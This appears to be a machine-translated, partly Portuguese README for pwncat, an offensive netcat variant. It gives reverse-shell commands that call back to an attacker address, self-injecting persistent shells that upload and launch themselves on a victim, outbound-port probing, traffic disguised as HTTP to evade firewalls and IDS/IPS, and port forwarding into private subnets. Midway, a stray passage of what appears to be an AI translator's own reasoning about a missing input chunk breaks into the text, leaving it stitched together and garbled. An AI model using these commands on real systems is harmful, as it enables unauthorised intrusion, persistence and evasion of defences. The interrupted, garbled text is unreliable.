pwncat

pwncat - netcat turbinado com evasão de Firewall, IDS/IPS, shell bind e reversa, shell de auto-injeção e mágica de encaminhamento de portas - e é totalmente scriptável com Python (PSE)

--no-shutdown Do not shutdown into half-duplex mode. If this option is passed, pwncat won't invoke shutdown on a socket after seeing EOF on stdin. This is provided for backward-compatibility with OpenBSD netcat, which exhibits this behavior.

-v, --verbose Be verbose and print info to stderr. Use -v, -vv, -vvv or -vvvv for more verbosity. The server performance will decrease drastically if you use more than three times.

--info type Show additional info about sockets, IPv4/6 or TCP opts applied to the current socket connection. Valid parameter are 'sock', 'ipv4', 'ipv6', 'tcp' or 'all'. Note, you must at least be in INFO verbose mode in order to see them (-vv).

-c str, --color str Colored log output. Specify 'always', 'never' or 'auto'. In 'auto' mode, color is displayed as long as the output goes to a terminal. If it is piped into a file, color will automatically be disabled. This mode also disables color on Windows by default. (default: auto)

--safe-word str All modes: If pwncat is started with this argument, it will shut down as soon as it receives the specified string. The --keep-open (server) or --reconn (client) options will be ignored and it won't listen again or reconnect to you. Use a very unique string to not have it shut down accidentally by other input.

protocol arguments: -4 Only Use IPv4 (default: IPv4 and IPv6 dualstack).

-6 Only Use IPv6 (default: IPv4 and IPv6 dualstack).

-u, --udp Use UDP for the connection instead of TCP.

-T str, --tos str Specifies IP Type of Service (ToS) for the connection. Valid values are the tokens 'mincost', 'lowcost', 'reliability', 'throughput' or 'lowdelay'.

--http Connect / Listen mode (TCP and UDP): Hide traffic in http packets to fool Firewalls/IDS/IPS.

--https Connect / Listen mode (TCP and UDP): Hide traffic in https packets to fool Firewalls/IDS/IPS.

-H [str [str ...]], --header [str [str ...]] Add HTTP headers to your request when using --http(s).

command & control arguments: --self-inject cmd:host:port[s] Listen mode (TCP only): If you are about to inject a reverse shell onto the victim machine (via php, bash, nc, ncat or similar), start your listening server with this argument. This will then (as soon as the reverse shell connects) automatically deploy and background-run an unbreakable pwncat reverse shell onto the victim machine which then also connects back to you with specified arguments. Example: '--self-inject /bin/bash:10.0.0.1:4444' It is also possible to launch multiple reverse shells by specifying multiple ports. Via list: --self-inject /bin/sh:10.0.0.1:4444,4445,4446 Via range: --self-inject /bin/sh:10.0.0.1:4444-4446 Via incr: --self-inject /bin/sh:10.0.0.1:4444+2 Note: this is currently an experimental feature and does not work on Windows remote hosts yet.

pwncat scripting engine: --script-send file All modes (TCP and UDP): A Python scripting engine to define your own custom transformer function which will be executed before sending data to a remote endpoint. Your file must contain the exact following function which will: be applied as the transformer: def transform(data, pse): # NOTE: the function name must be 'transform' # NOTE: the function param name must be 'data' # NOTE: indentation must be 4 spaces # ... your transformations goes here return data You can also define as many custom functions or classes within this file, but ensure to prefix them uniquely to not collide with pwncat's function or classes, as the file will be called with exec().

--script-recv file All modes (TCP and UDP): A Python scripting engine to define your own custom transformer function which will be executed after receiving data from a remote endpoint. Your file must contain the exact following function which will: be applied as the transformer: def transform(data, pse): # NOTE: the function name must be 'transform' # NOTE: the function param name must be 'data' # NOTE: indentation must be 4 spaces # ... your transformations goes here return data You can also define as many custom functions or classes within this file, but ensure to prefix them uniquely to not collide with pwncat's function or classes, as the file will be called with exec().

zero-i/o mode arguments: --banner Zero-I/O (TCP and UDP): Try banner grabbing during port scan.

listen mode arguments: -k, --keep-open Listen mode (TCP only): Re-accept new clients in listen mode after a client has disconnected or the connection is interrupted otherwise. (default: server will quit after connection is gone)

--rebind [x] Listen mode (TCP and UDP): If the server is unable to bind, it will re-initialize itself x many times before giving up. Omit the quantifier to rebind endlessly or specify a positive integer for how many times to rebind before giving up. See --rebind-robin for an interesting use-case. (default: fail after first unsuccessful try).

--rebind-wait s Listen mode (TCP and UDP): Wait x seconds between re-initialization. (default: 1)

--rebind-robin port Listen mode (TCP and UDP): If the server is unable to initialize (e.g: cannot bind and --rebind is specified, it it will shuffle ports in round-robin mode to bind to. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Set --rebind to at least the number of ports to probe +1 This option requires --rebind to be specified.

connect mode arguments: --source-addr addr Specify source bind IP address for connect mode.

--source-port port Specify source bind port for connect mode.

--reconn [x] Connect mode (TCP and UDP): If the remote server is not reachable or the connection is interrupted, the client will connect again x many times before giving up. Omit the quantifier to retry endlessly or specify a positive integer for how many times to retry before giving up. (default: quit if the remote is not available or the connection was interrupted) This might be handy for stable TCP reverse shells ;-) Note on UDP: By default UDP does not know if it is connected, so it will stop at the first port and assume it has a connection. Consider using --udp-sconnect with this option to make UDP aware of a successful connection.

--reconn-wait s Connect mode (TCP and UDP): Wait x seconds between re-connects. (default: 1)

--reconn-robin port Connect mode (TCP and UDP): If the remote server is not reachable or the connection is interrupted and --reconn is specified, the client will shuffle ports in round-robin mode to connect to. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Set --reconn to at least the number of ports to probe +1 This helps reverse shell to evade intrusiona prevention systems that will cut your connection and block the outbound port. This is also useful in Connect or Zero-I/O mode to figure out what outbound ports are allowed.

--ping-init Connect mode (TCP and UDP): UDP is a stateless protocol unlike TCP, so no hand- shake communication takes place and the client just sends data to a server without being "accepted" by the server first. This means a server waiting for an UDP client to connect to, is unable to send any data to the client, before the client hasn't send data first. The server simply doesn't know the IP address before an initial connect. The --ping-init option instructs the client to send one single initial ping packet to the server, so that it is able to talk to the client. This is a way to make a UDP reverse shell work. See --ping-word for what char/string to send as initial ping packet (default: '\0')

--ping-intvl s Connect mode (TCP and UDP): Instruct the client to send ping intervalls every s sec. This allows you to restart your UDP server and just wait for the client to report back in. This might be handy for stable UDP reverse shells ;-) See --ping-word for what char/string to send as initial ping packet (default: '\0')

--ping-word str Connect mode (TCP and UDP): Change the default character '\0' to use for upd ping. Single character or strings are supported.

--ping-robin port Connect mode (TCP and UDP): Instruct the client to shuffle the specified ports in round-robin mode for a remote server to ping. This might be handy to scan outbound allowed ports. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Use --ping-intvl 0 to be faster.

--udp-sconnect Connect mode (UDP only): Emulating stateful behaviour for UDP connect phase by sending an initial packet to the server to validate if it is actually connected. By default, UDP will simply issue a connect and is not aware if it is really connected or not. The default connect packet to be send is '\0', you can change this with --udp-sconnect-word.

--udp-sconnect-word [str] Connect mode (UDP only): Change the the data to be send for UDP stateful connect behaviour. Note you can also omit the string to send an empty packet (EOF), but be aware that some servers such as netcat will instantly quit upon receive of an EOF packet. The default is to send a null byte sting: '\0'.

misc arguments: -h, --help Show this help message and exit -V, --version Show version information and exit

Ctrl+z```bash

get your current terminal size (rows and columns)

stty size

for bash/sh (enter raw mode and disable echo'ing)

stty raw -echo fg

for zsh (enter raw mode and disable echo'ing)

stty raw -echo; fg

reset export SHELL=bash export TERM=xterm stty rows columns # and values found above by 'stty size'

Shell reverso TCP inquebrável

Por que inquebrável? Porque continuará voltando para você, mesmo que você mate temporariamente seu servidor de escuta. Em outras palavras, o cliente continuará tentando conectar ao servidor especificado até obter sucesso. Se a conexão for interrompida, continuará tentando novamente.```bash

The client

--exec # Provide this executable

--nodns # Keep the noise down and don't resolve hostnames

-reconn # Automatically reconnect back to you indefinitely

--reconn-wait # If connection is lost, connect back to you every 2 seconds

pwncat --exec /bin/bash --nodns --reconn --reconn-wait 2 10.0.0.1 4444

Shell reverso auto-injetante

Imagine que você é capaz de criar um shell reverso muito simples e instável do alvo para sua máquina, como um web shell via script PHP ou similar. Sabendo que isso não persistirá por muito tempo ou pode quebrar devido a uma conexão de rede instável, você poderia usar pwncat para conectar-se a essa conexão e implantar-se de forma inquebrável no alvo - totalmente automatizado.

Ver no Youtube

Tudo o que você precisa fazer é usar pwncat como seu listener local e iniciá-lo com a opção --self-inject. Assim que o cliente (por exemplo: o web shell reverso) se conectar a ele, ele fará algumas coisas:

1. Enumerar a disponibilidade e versões do Python no alvo
2. Despejar a si mesmo codificado em base64 no alvo
3. Usar o Python do alvo para decodificar a si mesmo.
4. Usar o Python do alvo para iniciar a si mesmo como um shell reverso inquebrável de volta para você

Uma vez feito isso, você pode continuar usando a conexão atual ou simplesmente abandoná-la e iniciar um novo listener (sim, você não precisa iniciar o listener antes de iniciar o shell reverso) para que o novo cliente pwncat se conecte a você. O novo listener também não precisa ser pwncat, pode ser netcat ou ncat.

A opção --self-inject:```bash pwncat -l 4444 --self-inject ::

". Possibly the actual chunk is missing due to copy-paste error. As an AI, I must follow instructions strictly. The instruction says "Translate the following Kitploit tool content." and then describes chunk-specific rules. It says "INPUT: You will then see something like this:" but the actual input is not present.

Given the ambiguity, the safest approach is to not produce any output, because I cannot translate something that isn't there. However, the model might be expected to output a translation. Since the user likely intended to provide the chunk but forgot, I could output nothing and hope the user corrects. But that might break the conversation.

Perhaps the user expects me to respond with a placeholder or an error message. But the rules forbid any preamble or commentary. So I cannot say "No content provided."

Maybe the "You will then see something like this:" is part of the input? That sentence could be considered natural language to be translated. But it says "INPUT:" and then the sentence. So the actual input might be: "You will then see something like this:" and then nothing else. That seems unlikely.

Given the constraints, I will output only the translation of that sentence if it is the actual input. But the chunk-specific rules say "Translate ONLY the exact text provided". The text provided after "INPUT:" is "You will then see something like this:" (with a colon). That is a sentence. So I should translate that to Portuguese. But then it says "response" on the next line? No, the user message ends with "response". Actually, the entire user message is:

"Translate the following Kitploit tool content. This is chunk 41 of 91 from a longer Markdown document being translated in sequence. The source language is en. Target language: pt. Content type: README chunk 41/91.

CHUNK-SPECIFIC RULES: ... INPUT: You will then see something like this: "

Then there is a blank line and then "response". That "response" might be the start of the assistant's response? The formatting is confusing. The user likely intended to paste the chunk after "INPUT:" but it wasn't included.

Given the instruction "Return ONLY the translated text. No preamble, no commentary", if I output nothing, it's not a violation. But it might be considered incomplete. However, I think the best action is to respond with the translation of the provided text: "You will then see something like this:" -> "Você verá algo assim:" . But that seems pointless.

I will assume the chunk is missing and not produce a translation. The model should remain silent? That would be unusual.

Looking at the system prompt: "You are a specialised cybersecurity tool content translator for Kitploit... Return ONLY the translated text." So if there is no input, there is nothing to return. I can output an empty string. But that might cause issues.

Given the structure of the conversation, the user message ends with "INPUT:\nYou will then see something like this:\n" and then the assistant is supposed to respond. Perhaps the assistant's previous response included the chunk? No, this is a fresh start.

I think the safest is to output nothing, but that will likely be interpreted as an error. Alternatively, I can output the translation of the sentence "You will then see something like this:" to Portuguese, but it doesn't make sense as a README chunk translation.

Given the instruction that this is chunk 41/91 of a longer document, the chunk likely contains actual tool content. Without it, I cannot proceed. I'll respond with an empty string.``` [PWNCAT CnC] Probing for: /bin/python [PWNCAT CnC] Probing for: /bin/python2 [PWNCAT CnC] Probing for: /bin/python2.7 [PWNCAT CnC] Probing for: /bin/python3 [PWNCAT CnC] Probing for: /bin/python3.5 [PWNCAT CnC] Probing for: /bin/python3.6 [PWNCAT CnC] Probing for: /bin/python3.7 [PWNCAT CnC] Probing for: /bin/python3.8 [PWNCAT CnC] Probing for: /usr/bin/python [PWNCAT CnC] Potential path: /usr/bin/python [PWNCAT CnC] Found valid Python2 version: 2.7.16 [PWNCAT CnC] Creating tmpfile: /tmp/tmp3CJ8Us [PWNCAT CnC] Creating tmpfile: /tmp/tmpgHg7YT [PWNCAT CnC] Uploading: /home/cytopia/tmp/pwncat/bin/pwncat -> /tmp/tmpgHg7YT (3422/3422) [PWNCAT CnC] Decoding: /tmp/tmpgHg7YT -> /tmp/tmp3CJ8Us Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4445 &

Shells reversos auto-injetáveis ilimitados

Em vez de apenas solicitar um único shell reverso auto-injetável, você pode instruir o pwncat a gerar quantos shells reversos inquebráveis ​​conectando-se de volta a você desejar.

Ver no YouTube

O argumento --self-inject permite que você não apenas defina uma única porta, mas também

1. Uma lista separada por vírgulas de portas: 4445,4446,4447,4448
2. Uma definição de intervalo: 4446-4448
3. Um incremento: 4445+3

Para gerar 4 shells reversos, você iniciaria seu listener exatamente como descrito acima, mas em vez de uma única porta, você define múltiplas:```bash

Comma separated

pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445,4446,4447,4448

Range

pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445-4448

Increment

pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445+3

Logging

Nota: Certifique-se de que possui um shell reverso que continua retornando a você. Dessa forma, você pode sempre alterar suas configurações de logging sem perder o shell.

Nível de logging e redirecionamento

Se desejar, pode iniciar um listener no modo de logging TRACE completo para entender o que está acontecendo ou simplesmente para depuração. As mensagens de log são coloridas dependendo de sua gravidade. As cores são desativadas automaticamente se stderr não for um pty, ex.: se estiver redirecionando para um arquivo. Você também pode desativar manualmente o logging colorido para saídas de terminal através da opção --color.```bash pwncat -vvvv -l 4444

Assim que você viu isso no listener, pode emitir comandos para o cliente. Todas as mensagens de depuração também não são necessárias, então você pode seguramente Ctrl+c para encerrar seu servidor e iniciá-lo novamente no modo silencioso:```bash pwncat -l 4444

Agora tudo o que você verá na sessão do terminal são as entradas e saídas reais dos comandos. Se quiser ver o que está acontecendo nos bastidores, abra uma segunda janela do terminal e acompanhe o arquivo comm.txt:```bash

View communication info

tail -fn50 comm.txt

2020-05-11 08:40:57,927 DEBUG NetcatServer.receive(): 'Client connected: 127.0.0.1:46744' 2020-05-11 08:40:57,927 TRACE [STDIN] 1854:producer(): Command output: b'\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 TRACE [STDIN] 2047:run_action(): [STDIN] Producer received: '\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 DEBUG [STDIN] 815:send(): Trying to send 15 bytes to 127.0.0.1:46744 2020-05-11 08:40:57,927 TRACE [STDIN] 817:send(): Trying to send: b'\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 DEBUG [STDIN] 834:send(): Sent 15 bytes to 127.0.0.1:46744 (0 bytes remaining) 2020-05-11 08:40:57,928 TRACE [STDIN] 1852:producer(): Reading command output

Mágica de encaminhamento de porta

Encaminhamento de porta TCP local

Cenário

1. Alice pode ser alcançada a partir do exterior (TCP/UDP)
2. Bob só pode ser alcançado a partir da máquina de Alice``` | | Outside | DMZ | private subnet | | | | +-----------------+ TCP +-----------------+ TCP +-----------------+ | The cat | -----|----> | Alice | -----|----> | Bob | | | | | pwncat | | | MySQL | | 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 | +-----------------+ | +-----------------+ | +-----------------+ pwncat 72.0.0.1 3306 | pwncat \ | | -L 72.0.0.1:3306 \ | | 10.0.0.1 3306 |

Encaminhamento de porta TCP remoto

Cenário

1. Alice não pode ser alcançada do exterior
2. Alice tem permissão para se conectar ao exterior (TCP/UDP)
3. Bob só pode ser alcançado a partir da máquina de Alice``` | | Outside | DMZ | private subnet | | | | +-----------------+ TCP +-----------------+ TCP +-----------------+ | The cat | <----|----- | Alice | -----|----> | Bob | | | | | pwncat | | | MySQL | | 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 | +-----------------+ | +-----------------+ | +-----------------+ pwncat -l 4444 | pwncat --reconn \ | | -R 56.0.0.1:4444 \ | | 10.0.0.1 3306 |

Exploração de portas de saída

Se você não tem ideia de quais portas de saída são permitidas a partir da máquina de destino, pode instruir o cliente (por exemplo: no caso de um shell reverso) a sondar portas de saída indefinidamente.```bash

Reverse shell on target (the client)

--exec # The command shell the client should provide

--reconn # Instruct it to reconnect endlessly

--reconn-wait # Reconnect every 0.1 seconds

--reconn-robin # Use these ports to probe for outbount connections

pwncat --exec /bin/bash --reconn --reconn-wait 0.1 --reconn-robin 54-1024 10 10.0.0.1 53

Se o cliente se conectar a você, você terá uma shell reversa funcional. Se você parar seu servidor de escuta local acidentalmente ou de propósito, o cliente irá sondar as portas novamente até se conectar com sucesso. Para encerrar o cliente da shell reversa, você pode usar --safe-word (ao iniciar o cliente).

Se nada disso funcionar, você pode adicionar outras medidas, como usar UDP ou até encapsular seus pacotes em protocolos de nível superior, como HTTP ou outros. Veja PSE ou exemplos abaixo sobre como transformar seu tráfego.

Pwncat Scripting Engine (PSE)

pwncat oferece um mecanismo de script baseado em Python para injetar seu código personalizado antes de enviar e após receber dados.

Como funciona

Você simplesmente precisará fornecer um arquivo Python com a seguinte função de ponto de entrada:```python def transform(data, pse): # Example to reverse a string return data[::-1]

Exemplo 2: Wrapper HTTP POST autoconstruído

PSE: http-post código fonte

Isso encapsulará todo o tráfego em uma requisição HTTP POST válida, fazendo com que pareça tráfego HTTP normal.```bash

server

pwncat -vvvv -l localhost 4444
--script-send pse/http-post/pse-http_post-pack.py
--script-recv pse/http-post/pse-http_post-unpack.py

Varredura de portas

TCP```bash

$ sudo netstat -tlpn Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:4444 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:902 0.0.0.0:* LISTEN tcp6 0 0 ::1:631 :::* LISTEN tcp6 0 0 ::1:25 :::* LISTEN tcp6 0 0 ::1:4444 :::* LISTEN tcp6 0 0 :::1053 :::* LISTEN tcp6 0 0 :::902 :::* LISTEN

nmap```bash

$ time sudo nmap -T5 localhost --version-intensity 0 -p- -sU Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-24 17:03 CEST Warning: 127.0.0.1 giving up on port because retransmission cap hit (2). Nmap scan report for localhost (127.0.0.1) Host is up (0.000035s latency). Other addresses for localhost (not scanned): ::1 Not shown: 65529 closed ports PORT STATE SERVICE 68/udp open|filtered dhcpc 631/udp open|filtered ipp 1053/udp open|filtered remote-as 5353/udp open|filtered zeroconf 39856/udp open|filtered unknown 40488/udp open|filtered unknown

Nmap done: 1 IP address (1 host up) scanned in 179.15 seconds

real 2m52.446s user 0m0.844s sys 0m2.571s

pwncat```bash

$ time pwncat -z localhost 1-65535 -u -4 Scanning 65535 ports [+] 68/UDP open (IPv4) [+] 631/UDP open (IPv4) [+] 1053/UDP open (IPv4) [+] 5353/UDP open (IPv4) [+] 39856/UDP open (IPv4)

real 0m7.309s user 0m6.465s sys 0m4.794s